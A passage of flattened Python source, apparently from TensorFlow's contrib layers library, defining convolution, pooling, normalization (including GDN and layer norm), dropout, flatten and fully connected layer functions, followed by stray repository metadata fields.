weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): with variable_scope.variable_scope( scope, 'ConvInPlane', [inputs], reuse=reuse) as sc: dtype = inputs.dtype.base_dtype kernel_h, kernel_w = utils.two_element_tuple(kernel_size) stride_h, stride_w = utils.two_element_tuple(stride) num_filters_in = utils.last_dimension(inputs.get_shape(), min_rank=4) weights_shape = [kernel_h, kernel_w, 1, 1] weights_collections = utils.get_variable_collections( variables_collections, 'weights') weights = variables.model_variable('weights', shape=weights_shape, dtype=dtype, initializer=weights_initializer, regularizer=weights_regularizer, collections=weights_collections, trainable=trainable) depthwise_weights = array_ops.tile(weights, [1, 1, num_filters_in, 1]) outputs = nn.depthwise_conv2d(inputs, depthwise_weights, [1, stride_h, stride_w, 1], padding) if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) else: if biases_initializer is not None: biases_collections = utils.get_variable_collections( variables_collections, 'biases') biases = variables.model_variable('biases', shape=[num_filters_in,], dtype=dtype, initializer=biases_initializer, regularizer=biases_regularizer, collections=biases_collections, trainable=trainable) outputs = nn.bias_add(outputs, biases) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def convolution2d_transpose( inputs, num_outputs, kernel_size, stride=1, padding='SAME', data_format=DATA_FORMAT_NHWC, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'Conv2d_transpose', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = convolutional_layers.Convolution2DTranspose( filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def convolution3d_transpose( inputs, num_outputs, kernel_size, stride=1, padding='SAME', data_format=DATA_FORMAT_NDHWC, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'Conv3d_transpose', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: if data_format not in (DATA_FORMAT_NCDHW, DATA_FORMAT_NDHWC): raise ValueError('data_format has to be either NCDHW or NDHWC.') inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = convolutional_layers.Convolution3DTranspose( filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def dropout(inputs, keep_prob=0.5, noise_shape=None, is_training=True, outputs_collections=None, scope=None): with variable_scope.variable_scope( scope, 'Dropout', [inputs], custom_getter=_model_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) layer = core_layers.Dropout(rate=1 - keep_prob, noise_shape=noise_shape, name=sc.name, _scope=sc) outputs = layer.apply(inputs, training=is_training) return utils.collect_named_outputs( outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def flatten(inputs, outputs_collections=None, scope=None): with ops.name_scope(scope, 'Flatten', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) inputs_rank = inputs.get_shape().ndims if (inputs_rank is None) or (inputs_rank < 2): raise ValueError('Inputs must have a least 2 dimensions.') inputs_shape = array_ops.shape(inputs) batch_dim = array_ops.slice(inputs_shape, [0], [1]) spatial_dims = array_ops.slice(inputs_shape, [1], [inputs_rank - 1]) flat_spatial_dim = math_ops.reduce_prod(spatial_dims) flat_spatial_dim = array_ops.expand_dims(flat_spatial_dim, 0) flat_shape = array_ops.concat([batch_dim, flat_spatial_dim], 0) outputs = array_ops.reshape(inputs, flat_shape) # Attempt to propagate shape information, if it is defined. input_shape = inputs.get_shape().as_list() batch_dim, spatial_dims = input_shape[0], input_shape[1:] if all(spatial_dims): outputs.set_shape([batch_dim, functools.reduce(lambda x, y: x * y, spatial_dims)]) else: outputs.set_shape([batch_dim, None]) return utils.collect_named_outputs(outputs_collections, sc, outputs) def _sparse_inner_flatten(inputs, new_rank): inputs_rank = inputs.dense_shape.get_shape().as_list()[0] if inputs_rank < new_rank: raise ValueError( 'Inputs has rank less than new_rank. {} must have rank at least' ' {}. Received rank {}, shape {}'.format(inputs, new_rank, inputs_rank, inputs.get_shape())) outer_dimensions = inputs.dense_shape[:new_rank - 1] inner_dimensions = inputs.dense_shape[new_rank - 1:] new_shape = array_ops.concat((outer_dimensions, [math_ops.reduce_prod(inner_dimensions)]), 0) flattened = sparse_ops.sparse_reshape(inputs, new_shape) return flattened def _dense_inner_flatten(inputs, new_rank): rank_assertion = check_ops.assert_rank_at_least( inputs, new_rank, message='inputs has rank less than new_rank') with ops.control_dependencies([rank_assertion]): outer_dimensions = array_ops.strided_slice( array_ops.shape(inputs), [0], [new_rank - 1]) new_shape = array_ops.concat((outer_dimensions, [-1]), 0) reshaped = array_ops.reshape(inputs, new_shape) # if `new_rank` is an integer, try to calculate new shape. if isinstance(new_rank, six.integer_types): static_shape = inputs.get_shape() if static_shape is not None and static_shape.dims is not None: static_shape = static_shape.as_list() static_outer_dims = static_shape[:new_rank - 1] static_inner_dims = static_shape[new_rank - 1:] flattened_dimension = 1 for inner_dim in static_inner_dims: if inner_dim is None: flattened_dimension = None break flattened_dimension *= inner_dim reshaped.set_shape(static_outer_dims + [flattened_dimension]) return reshaped @add_arg_scope def _inner_flatten(inputs, new_rank, output_collections=None, scope=None): with ops.name_scope(scope, 'InnerFlatten', [inputs, new_rank]) as sc: if isinstance(inputs, sparse_tensor.SparseTensor): flattened = _sparse_inner_flatten(inputs, new_rank) else: inputs = ops.convert_to_tensor(inputs) flattened = _dense_inner_flatten(inputs, new_rank) return utils.collect_named_outputs(output_collections, sc, flattened) def _model_variable_getter(getter, name, shape=None, dtype=None, initializer=None, regularizer=None, trainable=True, collections=None, caching_device=None, partitioner=None, rename=None, use_resource=None, **_): short_name = name.split('/')[-1] if rename and short_name in rename: name_components = name.split('/') name_components[-1] = rename[short_name] name = '/'.join(name_components) return variables.model_variable( name, shape=shape, dtype=dtype, initializer=initializer, regularizer=regularizer, collections=collections, trainable=trainable, caching_device=caching_device, partitioner=partitioner, custom_getter=getter, use_resource=use_resource) def _build_variable_getter(rename=None): # VariableScope will nest the getters def layer_variable_getter(getter, *args, **kwargs): kwargs['rename'] = rename return _model_variable_getter(getter, *args, **kwargs) return layer_variable_getter def _add_variable_to_collections(variable, collections_set, collections_name): collections = utils.get_variable_collections( collections_set, collections_name) or [] variables_list = [variable] if isinstance(variable, tf_variables.PartitionedVariable): variables_list = [v for v in variable] for collection in collections: for var in variables_list: if var not in ops.get_collection(collection): ops.add_to_collection(collection, var) @add_arg_scope def fully_connected(inputs, num_outputs, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): if not isinstance(num_outputs, six.integer_types): raise ValueError( 'num_outputs should be int or long, got %s.' % (num_outputs,)) layer_variable_getter = _build_variable_getter({'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'fully_connected', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) layer = core_layers.Dense( units=num_outputs, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.bias is not None: _add_variable_to_collections(layer.bias, variables_collections, 'biases') # Apply normalizer function / layer. if normalizer_fn is not None: if not normalizer_params: normalizer_params = {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs( outputs_collections, sc.original_name_scope, outputs) class GDN(base.Layer): def __init__(self, inverse=False, beta_min=1e-6, gamma_init=.1, reparam_offset=2 ** -18, data_format='channels_last', activity_regularizer=None, trainable=True, name=None, **kwargs): super(GDN, self).__init__(trainable=trainable, name=name, **kwargs) self.inverse = inverse self._beta_min = beta_min self._gamma_init = gamma_init self._reparam_offset = reparam_offset self.data_format = data_format self.activity_regularizer = activity_regularizer self._channel_axis() # trigger ValueError early self.input_spec = base.InputSpec(min_ndim=3, max_ndim=5) def _channel_axis(self): try: return {'channels_first': 1, 'channels_last': -1}[self.data_format] except KeyError: raise ValueError('Unsupported `data_format` for GDN layer: {}.'.format( self.data_format)) @staticmethod def _lower_bound(inputs, bound, name=None): with ops.name_scope(name, 'GDNLowerBound', [inputs, bound]) as scope: inputs = ops.convert_to_tensor(inputs, name='inputs') bound = ops.convert_to_tensor(bound, name='bound') with ops.get_default_graph().gradient_override_map( {'Maximum': 'GDNLowerBound'}): return math_ops.maximum(inputs, bound, name=scope) @staticmethod def _lower_bound_grad(op, grad): inputs = op.inputs[0] bound = op.inputs[1] pass_through_if = math_ops.logical_or(inputs >= bound, grad < 0) return [math_ops.cast(pass_through_if, grad.dtype) * grad, None] def build(self, input_shape): channel_axis = self._channel_axis() input_shape = tensor_shape.TensorShape(input_shape) num_channels = input_shape[channel_axis].value if num_channels is None: raise ValueError('The channel dimension of the inputs to `GDN` ' 'must be defined.') self._input_rank = input_shape.ndims self.input_spec = base.InputSpec(ndim=input_shape.ndims, axes={channel_axis: num_channels}) pedestal = array_ops.constant(self._reparam_offset ** 2, dtype=self.dtype) beta_bound = array_ops.constant( (self._beta_min + self._reparam_offset ** 2) ** .5, dtype=self.dtype) gamma_bound = array_ops.constant(self._reparam_offset, dtype=self.dtype) def beta_initializer(shape, dtype=None, partition_info=None): del partition_info # unused return math_ops.sqrt(array_ops.ones(shape, dtype=dtype) + pedestal) def gamma_initializer(shape, dtype=None, partition_info=None): del partition_info # unused assert len(shape) == 2 assert shape[0] == shape[1] eye = linalg_ops.eye(shape[0], dtype=dtype) return math_ops.sqrt(self._gamma_init * eye + pedestal) beta = self.add_variable('reparam_beta', shape=[num_channels], initializer=beta_initializer, dtype=self.dtype, trainable=True) beta = self._lower_bound(beta, beta_bound) self.beta = math_ops.square(beta) - pedestal gamma = self.add_variable('reparam_gamma', shape=[num_channels, num_channels], initializer=gamma_initializer, dtype=self.dtype, trainable=True) gamma = self._lower_bound(gamma, gamma_bound) self.gamma = math_ops.square(gamma) - pedestal self.built = True def call(self, inputs): inputs = ops.convert_to_tensor(inputs, dtype=self.dtype) ndim = self._input_rank shape = self.gamma.get_shape().as_list() gamma = array_ops.reshape(self.gamma, (ndim - 2) * [1] + shape) # Compute normalization pool. if self.data_format == 'channels_first': norm_pool = nn.convolution(math_ops.square(inputs), gamma, 'VALID', data_format='NC' + 'DHW'[-(ndim - 2):]) if ndim == 3: norm_pool = array_ops.expand_dims(norm_pool, 2) norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NCHW') norm_pool = array_ops.squeeze(norm_pool, [2]) elif ndim == 5: shape = array_ops.shape(norm_pool) norm_pool = array_ops.reshape(norm_pool, shape[:3] + [-1]) norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NCHW') norm_pool = array_ops.reshape(norm_pool, shape) else: # ndim == 4 norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NCHW') else: # channels_last norm_pool = nn.convolution(math_ops.square(inputs), gamma, 'VALID') norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NHWC') norm_pool = math_ops.sqrt(norm_pool) if self.inverse: outputs = inputs * norm_pool else: outputs = inputs / norm_pool outputs.set_shape(inputs.get_shape()) return outputs def _compute_output_shape(self, input_shape): channel_axis = self._channel_axis() input_shape = tensor_shape.TensorShape(input_shape) if not 3 <= input_shape.ndim <= 5: raise ValueError('`input_shape` must be of rank 3 to 5, inclusive.') if input_shape[channel_axis].value is None: raise ValueError( 'The channel dimension of `input_shape` must be defined.') return input_shape ops.RegisterGradient('GDNLowerBound')(GDN._lower_bound_grad) # pylint:disable=protected-access def gdn(inputs, inverse=False, beta_min=1e-6, gamma_init=.1, reparam_offset=2 ** -18, data_format='channels_last', activity_regularizer=None, trainable=True, name=None, reuse=None): layer = GDN(inverse=inverse, beta_min=beta_min, gamma_init=gamma_init, reparam_offset=reparam_offset, data_format=data_format, activity_regularizer=activity_regularizer, trainable=trainable, name=name, dtype=inputs.dtype.base_dtype, _scope=name, _reuse=reuse) return layer.apply(inputs) @add_arg_scope def layer_norm(inputs, center=True, scale=True, activation_fn=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, begin_norm_axis=1, begin_params_axis=-1, scope=None): with variable_scope.variable_scope(scope, 'LayerNorm', [inputs], reuse=reuse) as sc: inputs = ops.convert_to_tensor(inputs) inputs_shape = inputs.shape inputs_rank = inputs_shape.ndims if inputs_rank is None: raise ValueError('Inputs %s has undefined rank.' % inputs.name) dtype = inputs.dtype.base_dtype if begin_norm_axis < 0: begin_norm_axis = inputs_rank + begin_norm_axis if begin_params_axis >= inputs_rank or begin_norm_axis >= inputs_rank: raise ValueError( 'begin_params_axis (%d) and begin_norm_axis (%d) ' 'must be < rank(inputs) (%d)' % (begin_params_axis, begin_norm_axis, inputs_rank)) params_shape = inputs_shape[begin_params_axis:] if not params_shape.is_fully_defined(): raise ValueError( 'Inputs %s: shape(inputs)[%s:] is not fully defined: %s' % ( inputs.name, begin_params_axis, inputs_shape)) # Allocate parameters for the beta and gamma of the normalization. beta, gamma = None, None if center: beta_collections = utils.get_variable_collections(variables_collections, 'beta') beta = variables.model_variable( 'beta', shape=params_shape, dtype=dtype, initializer=init_ops.zeros_initializer(), collections=beta_collections, trainable=trainable) if scale: gamma_collections = utils.get_variable_collections(variables_collections, 'gamma') gamma = variables.model_variable( 'gamma', shape=params_shape, dtype=dtype, initializer=init_ops.ones_initializer(), collections=gamma_collections, trainable=trainable) # Calculate the moments on the last axis (layer activations). norm_axes = list(range(begin_norm_axis, inputs_rank)) mean, variance = nn.moments(inputs, norm_axes, keep_dims=True) # Compute layer normalization using the batch_normalization function. variance_epsilon = 1e-12 outputs = nn.batch_normalization( inputs, mean, variance, offset=beta, scale=gamma, variance_epsilon=variance_epsilon) outputs.set_shape(inputs_shape) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def max_pool2d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NHWC, outputs_collections=None, scope=None): if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with ops.name_scope(scope, 'MaxPool2D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.MaxPooling2D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) @add_arg_scope def max_pool3d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NDHWC, outputs_collections=None, scope=None): if data_format not in (DATA_FORMAT_NCDHW, DATA_FORMAT_NDHWC): raise ValueError('data_format has to be either NCDHW or NDHWC.') with ops.name_scope(scope, 'MaxPool3D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.MaxPooling3D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) @add_arg_scope def pool(inputs, kernel_size, pooling_type, padding='VALID', data_format=None, dilation_rate=1, stride=1, outputs_collections=None, scope=None): # pylint: disable=line-too-long # pylint: enable=line-too-long with ops.name_scope(scope, '%s_pool' % (pooling_type.lower()), [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) input_rank = inputs.get_shape().ndims if input_rank is None: raise ValueError('Rank of inputs must be known') if input_rank < 3: raise ValueError('Rank of inputs must be >= 3') num_spatial_dims = input_rank - 2 output = nn.pool( input=inputs, window_shape=utils.n_positive_integers(num_spatial_dims, kernel_size), pooling_type=pooling_type, padding=padding, data_format=data_format, dilation_rate=utils.n_positive_integers(num_spatial_dims, dilation_rate), strides=utils.n_positive_integers(num_spatial_dims, stride), name=sc) return utils.collect_named_outputs(outputs_collections, sc, output) @add_arg_scope def one_hot_encoding(labels, num_classes, on_value=1.0, off_value=0.0, outputs_collections=None, scope=None): with ops.name_scope(scope, 'OneHotEncoding', [labels, num_classes]) as sc: labels = ops.convert_to_tensor(labels) if labels.dtype == dtypes.int32: labels = standard_ops.to_int64(labels) outputs = standard_ops.one_hot(labels, num_classes, on_value=on_value, off_value=off_value) return utils.collect_named_outputs(outputs_collections, sc, outputs) def _apply_activation(y, activation_fn, output_collections): if activation_fn is not None: y = activation_fn(y) ops.add_to_collections(list(output_collections or []) + [ops.GraphKeys.ACTIVATIONS], y) return y def repeat(inputs, repetitions, layer, *args, **kwargs): scope = kwargs.pop('scope', None) with variable_scope.variable_scope(scope, 'Repeat', [inputs]): inputs = ops.convert_to_tensor(inputs) if scope is None: if hasattr(layer, '__name__'): scope = layer.__name__ elif hasattr(layer, 'func') and hasattr(layer.func, '__name__'): scope = layer.func.__name__ # In case layer is a functools.partial. else: scope = 'repeat' outputs = inputs for i in range(repetitions): kwargs['scope'] = scope + '_' + str(i+1) outputs = layer(outputs, *args, **kwargs) return outputs def _scale_gradient_shape(op): return [op.inputs[0].shape] def _scale_gradient_grad(op, grad): return [grad * op.inputs[1], None] @function.Defun(python_grad_func=_scale_gradient_grad, shape_func=_scale_gradient_shape) def scale_gradient(inputs, gradient_multiplier): # gradient_multiplier is implicitly saved by decorator, and only used for # gradient computation. del gradient_multiplier return inputs @add_arg_scope def separable_convolution2d( inputs, num_outputs, kernel_size, depth_multiplier, stride=1, padding='SAME', data_format=DATA_FORMAT_NHWC, rate=1, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'depthwise_kernel': 'depthwise_weights', 'pointwise_kernel': 'pointwise_weights'}) with variable_scope.variable_scope( scope, 'SeparableConv2d', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') if num_outputs is not None: # Apply separable conv using the SeparableConvolution2D layer. layer = convolutional_layers.SeparableConvolution2D( filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, dilation_rate=utils.two_element_tuple(rate), activation=None, depth_multiplier=depth_multiplier, use_bias=not normalizer_fn and biases_initializer, depthwise_initializer=weights_initializer, pointwise_initializer=weights_initializer, bias_initializer=biases_initializer, depthwise_regularizer=weights_regularizer, pointwise_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.depthwise_kernel, variables_collections, 'weights') _add_variable_to_collections(layer.pointwise_kernel, variables_collections, 'weights') if layer.bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) else: # Actually apply depthwise conv instead of separable conv. dtype = inputs.dtype.base_dtype kernel_h, kernel_w = utils.two_element_tuple(kernel_size) stride_h, stride_w = utils.two_element_tuple(stride) num_filters_in = utils.channel_dimension( inputs.get_shape(), df, min_rank=4) weights_collections = utils.get_variable_collections( variables_collections, 'weights') depthwise_shape = [kernel_h, kernel_w, num_filters_in, depth_multiplier] depthwise_weights = variables.model_variable( 'depthwise_weights', shape=depthwise_shape, dtype=dtype, initializer=weights_initializer, regularizer=weights_regularizer, trainable=trainable, collections=weights_collections) strides = [1, stride_h, stride_w, 1] outputs = nn.depthwise_conv2d(inputs, depthwise_weights, strides, padding, rate=utils.two_element_tuple(rate), data_format=data_format) num_outputs = depth_multiplier * num_filters_in if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) else: if biases_initializer is not None: biases_collections = utils.get_variable_collections( variables_collections, 'biases') biases = variables.model_variable('biases', shape=[num_outputs,], dtype=dtype, initializer=biases_initializer, regularizer=biases_regularizer, trainable=trainable, collections=biases_collections) outputs = nn.bias_add(outputs, biases, data_format=data_format) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def softmax(logits, scope=None): # TODO(jrru): Add axis argument which defaults to last dimension. with variable_scope.variable_scope(scope, 'softmax', [logits]): num_logits = utils.last_dimension(logits.get_shape(), min_rank=2) logits_2d = array_ops.reshape(logits, [-1, num_logits]) predictions = nn.softmax(logits_2d) predictions = array_ops.reshape(predictions, array_ops.shape(logits)) predictions.set_shape(logits.get_shape()) return predictions @add_arg_scope def spatial_softmax(features, temperature=None, name=None, variables_collections=None, trainable=True, data_format='NHWC'): shape = array_ops.shape(features) static_shape = features.shape if data_format == DATA_FORMAT_NHWC: height, width, num_channels = shape[1], shape[2], static_shape[3] elif data_format == DATA_FORMAT_NCHW: num_channels, height, width = static_shape[1], shape[2], shape[3] else: raise ValueError('data_format has to be either NCHW or NHWC.') if num_channels.value is None: raise ValueError('The num_channels dimension of the inputs to ' '`spatial_softmax` should be defined. Found `None`.') with ops.name_scope(name, 'spatial_softmax', [features]) as name: # Create tensors for x and y coordinate values, scaled to range [-1, 1]. pos_x, pos_y = array_ops.meshgrid(math_ops.lin_space(-1., 1., num=height), math_ops.lin_space(-1., 1., num=width), indexing='ij') pos_x = array_ops.reshape(pos_x, [height * width]) pos_y = array_ops.reshape(pos_y, [height * width]) if temperature is None: temperature_collections = utils.get_variable_collections( variables_collections, 'temperature') temperature = variables.model_variable( 'temperature', shape=(), dtype=dtypes.float32, initializer=init_ops.ones_initializer(), collections=temperature_collections, trainable=trainable) if data_format == 'NCHW': features = array_ops.reshape(features, [-1, height * width]) else: features = array_ops.reshape( array_ops.transpose(features, [0, 3, 1, 2]), [-1, height * width]) softmax_attention = nn.softmax(features/temperature) expected_x = math_ops.reduce_sum( pos_x * softmax_attention, [1], keep_dims=True) expected_y = math_ops.reduce_sum( pos_y * softmax_attention, [1], keep_dims=True) expected_xy = array_ops.concat([expected_x, expected_y], 1) feature_keypoints = array_ops.reshape( expected_xy, [-1, num_channels.value * 2]) feature_keypoints.set_shape([None, num_channels.value * 2]) return feature_keypoints def stack(inputs, layer, stack_args, **kwargs): scope = kwargs.pop('scope', None) if not isinstance(stack_args, (list, tuple)): raise ValueError('stack_args need to be a list or tuple') with variable_scope.variable_scope(scope, 'Stack', [inputs]): inputs = ops.convert_to_tensor(inputs) if scope is None: if hasattr(layer, '__name__'): scope = layer.__name__ elif hasattr(layer, 'func') and hasattr(layer.func, '__name__'): scope = layer.func.__name__ # In case layer is a functools.partial. else: scope = 'stack' outputs = inputs for i in range(len(stack_args)): kwargs['scope'] = scope + '_' + str(i+1) layer_args = stack_args[i] if not isinstance(layer_args, (list, tuple)): layer_args = [layer_args] outputs = layer(outputs, *layer_args, **kwargs) return outputs @add_arg_scope def unit_norm(inputs, dim, epsilon=1e-7, scope=None): with variable_scope.variable_scope(scope, 'UnitNorm', [inputs]): if not inputs.get_shape(): raise ValueError('The input rank must be known.') input_rank = len(inputs.get_shape().as_list()) if dim < 0 or dim >= input_rank: raise ValueError( 'dim must be positive but smaller than the input rank.') lengths = math_ops.sqrt(epsilon + math_ops.reduce_sum( math_ops.square(inputs), dim, True)) multiples = [] if dim > 0: multiples.append(array_ops.ones([dim], dtypes.int32)) multiples.append( array_ops.strided_slice(array_ops.shape(inputs), [dim], [dim + 1])) if dim < (input_rank - 1): multiples.append(array_ops.ones([input_rank - 1 - dim], dtypes.int32)) multiples = array_ops.concat(multiples, 0) return math_ops.div(inputs, array_ops.tile(lengths, multiples)) def poincare_normalize(x, axis=1, epsilon=1e-5, name=None): with ops.name_scope(name, 'poincare_normalize', [x]) as name: x = ops.convert_to_tensor(x, name='x') square_sum = math_ops.reduce_sum(math_ops.square(x), axis, keep_dims=True) x_inv_norm = math_ops.rsqrt(square_sum) x_inv_norm = math_ops.minimum((1. - epsilon) * x_inv_norm, 1.) return math_ops.multiply(x, x_inv_norm, name=name) def legacy_fully_connected(x, num_output_units, activation_fn=None, weight_init=initializers.xavier_initializer(), bias_init=init_ops.zeros_initializer(), name=None, weight_collections=(ops.GraphKeys.WEIGHTS,), bias_collections=(ops.GraphKeys.BIASES,), output_collections=(ops.GraphKeys.ACTIVATIONS,), trainable=True, weight_regularizer=None, bias_regularizer=None): # pylint: disable=anomalous-backslash-in-string with variable_scope.variable_scope(name, 'fully_connected', [x]): x = ops.convert_to_tensor(x) dims = x.get_shape().dims if dims is None: raise ValueError('dims of x must be known but is None') if len(dims) < 2: raise ValueError('rank of x must be at least 2 not: %d' % len(dims)) num_input_units = dims[-1].value if num_input_units is None: raise ValueError('last dimension of x must be known but is None') dtype = x.dtype.base_dtype weight_collections = set(list(weight_collections or []) + [ops.GraphKeys.GLOBAL_VARIABLES]) w = variable_scope.get_variable('weights', shape=[num_input_units, num_output_units], dtype=dtype, initializer=weight_init, collections=weight_collections, regularizer=weight_regularizer, trainable=trainable) x_2_dim = x if len(dims) <= 2 else array_ops.reshape(x, [-1, num_input_units]) y = standard_ops.matmul(x_2_dim, w) if bias_init is not None: bias_collections = set(list(bias_collections or []) + [ops.GraphKeys.GLOBAL_VARIABLES]) b = variable_scope.get_variable('bias', shape=[num_output_units], dtype=dtype, initializer=bias_init, collections=bias_collections, regularizer=bias_regularizer, trainable=trainable) y = nn.bias_add(y, b) if len(dims) > 2: out_shape = array_ops.unstack(array_ops.shape(x)) out_shape[-1] = num_output_units y = array_ops.reshape(y, array_ops.stack(out_shape)) static_shape = x.get_shape().as_list() static_shape[-1] = num_output_units y.set_shape(static_shape) return _apply_activation(y, activation_fn, output_collections) # TODO(eiderm): Verify and fix autocomplete in colab (also relu6). # Simple aliases which remove the activation_fn parameter. elu = functools.partial(fully_connected, activation_fn=nn.elu) legacy_relu = functools.partial(legacy_fully_connected, activation_fn=nn.relu) legacy_linear = functools.partial(legacy_fully_connected, activation_fn=None) relu = functools.partial(fully_connected, activation_fn=nn.relu) relu6 = functools.partial(fully_connected, activation_fn=nn.relu6) linear = functools.partial(fully_connected, activation_fn=None) # Simple alias. conv2d = convolution2d conv3d = convolution3d conv2d_transpose = convolution2d_transpose conv3d_transpose = convolution3d_transpose conv2d_in_plane = convolution2d_in_plane separable_conv2d = separable_convolution2d

true

f704f90ac3c9d0634fcdcbb3eca1f502fa10cc71

3,596

py

Python

aa2ua_cube.py

jotelha/smampppp

729e4733b436e68adfe07bcaa39a47727d0c8dd8

[ "MIT" ]

1

2022-03-15T17:23:52.000Z

aa2ua_cube.py

jotelha/smampppp

729e4733b436e68adfe07bcaa39a47727d0c8dd8

[ "MIT" ]

null

aa2ua_cube.py

jotelha/smampppp

